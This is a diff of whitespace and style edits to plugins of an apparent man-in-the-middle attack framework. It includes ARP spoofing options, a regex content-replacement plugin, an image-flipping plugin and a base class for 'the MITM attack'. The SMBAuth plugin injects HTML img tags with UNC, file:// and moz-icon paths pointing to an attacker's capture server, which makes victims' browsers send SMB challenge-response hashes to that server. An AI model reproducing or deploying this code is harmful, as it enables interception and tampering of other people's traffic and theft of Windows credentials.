logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
except Exception, e:
except Exception:
logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1]))
self.ctable[ip] = time.time()
self.dtable[ip+hn] = True
return {'request':request,'data':data}
return {'request': request, 'data': data}
return
def add_options(self,options):
options.add_argument("--search-str",type=str,default=None,help="String you would like to replace --replace-str with. Default: '' (empty string)")
options.add_argument("--replace-str",type=str,default="",help="String you would like to replace.")
options.add_argument("--regex-file",type=file,help="Load file with regexes. File format: <regex1>[tab]<regex2>[new-line]")
options.add_argument("--keep-cache",action="store_true",help="Don't kill the server/client caching.")
def add_options(self, options):
options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)")
options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.")
options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: <regex1>[tab]<regex2>[new-line]")
options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.")
def _should_replace(self,ip,hn,mime):
return mime.find(self.mime)!=-1
def _get_req_info(self,request):
def _should_replace(self, ip, hn, mime):
return mime.find(self.mime) != -1
def _get_req_info(self, request):
ip = request.client.getClientIP()
hn = request.client.getRequestHostname()
mime = request.client.headers['Content-Type']
return (ip,hn,mime)
return (ip, hn, mime)

@ -1,22 +1,22 @@
from plugins.plugin import Plugin
from plugins.Inject import Inject
class SMBAuth(Inject,Plugin):
class SMBAuth(Inject, Plugin):
name = "SMBAuth"
optname = "smbauth"
desc = "Evoke SMB challenge-response auth attempts"
def initialize(self,options):
Inject.initialize(self,options)
def initialize(self, options):
Inject.initialize(self, options)
self.target_ip = options.host
self.html_payload = self._get_data()
print "[*] SMBAuth plugin online"
def add_options(self,options):
def add_options(self, options):
options.add_argument("--host", type=str, help="The ip address of your capture server")
def _get_data(self):
return '<img src=\"\\\\%s\\image.jpg\">'\
'<img src=\"file://///%s\\image.jpg\">'\
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">'\
% tuple([self.target_ip]*3)
'<img src=\"moz-icon:file:///%%5c/%s\\image.jpg\">' % tuple([self.target_ip]*3)

@ -42,7 +42,7 @@ class Spoof(Plugin):
self.target = options.target
self.arpmode = options.arpmode
self.port = self.options.listen
self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de
self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de
self.debug = False
self.send = True

@ -1,47 +1,49 @@
import logging
from cStringIO import StringIO
from plugins.plugin import Plugin
from PIL import Image
class Upsidedownternet(Plugin):
name = "Upsidedownternet"
optname = "upsidedownternet"
desc = 'Flips images 180 degrees'
has_opts = False
implements = ["handleResponse","handleHeader"]
def initialize(self,options):
from PIL import Image,ImageFile
implements = ["handleResponse", "handleHeader"]
def initialize(self, options):
from PIL import Image, ImageFile
globals()['Image'] = Image
globals()['ImageFile'] = ImageFile
self.options = options
def handleHeader(self,request,key,value):
self.options = options
def handleHeader(self, request, key, value):
'''Kill the image skipping that's in place for speed reasons'''
if request.isImageRequest:
request.isImageRequest = False
request.isImage = True
request.imageType = value.split("/")[1].upper()
def handleResponse(self,request,data):
request.imageType = value.split("/")[1].upper()
def handleResponse(self, request, data):
try:
isImage = getattr(request,'isImage')
isImage = getattr(request, 'isImage')
except AttributeError:
isImage = False
if isImage:
try:
image_type=request.imageType
image_type = request.imageType
#For some reason more images get parsed using the parser
#rather than a file...PIL still needs some work I guess
p = ImageFile.Parser()
p = Image.Parser()
p.feed(data)
im = p.close()
im=im.transpose(Image.ROTATE_180)
im = im.transpose(Image.ROTATE_180)
output = StringIO()
im.save(output,format=image_type)
data=output.getvalue()
im.save(output, format=image_type)
data = output.getvalue()
output.close()
logging.info("Flipped image")
except Exception as e:
print "Error: %s" % e
return {'request':request,'data':data}
return {'request': request, 'data': data}

@ -3,16 +3,19 @@ The base plugin class. This shows the various methods that
can get called during the MITM attack.
'''
class Plugin(object):
name = "Generic plugin"
optname = "generic"
desc = ""
implements = []
has_opts = False
def __init__(self):
'''Called on plugin instantiation. Probably don't need this'''
pass
def initialize(self,options):
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
@ -20,15 +23,15 @@ class Plugin(object):
'''Add your options to the options parser'''
raise NotImplementedError
def handleHeader(self,request,key,value):
def handleHeader(self, request, key, value):
'''Handles all response headers'''
raise NotImplementedError
def connectionMade(self,request):
def connectionMade(self, request):
'''Handles outgoing request'''
raise NotImplementedError
def handleResponse(self,request,data):
def handleResponse(self, request, data):
'''
Handles all non-image responses by default. See Upsidedownternet
for how to get images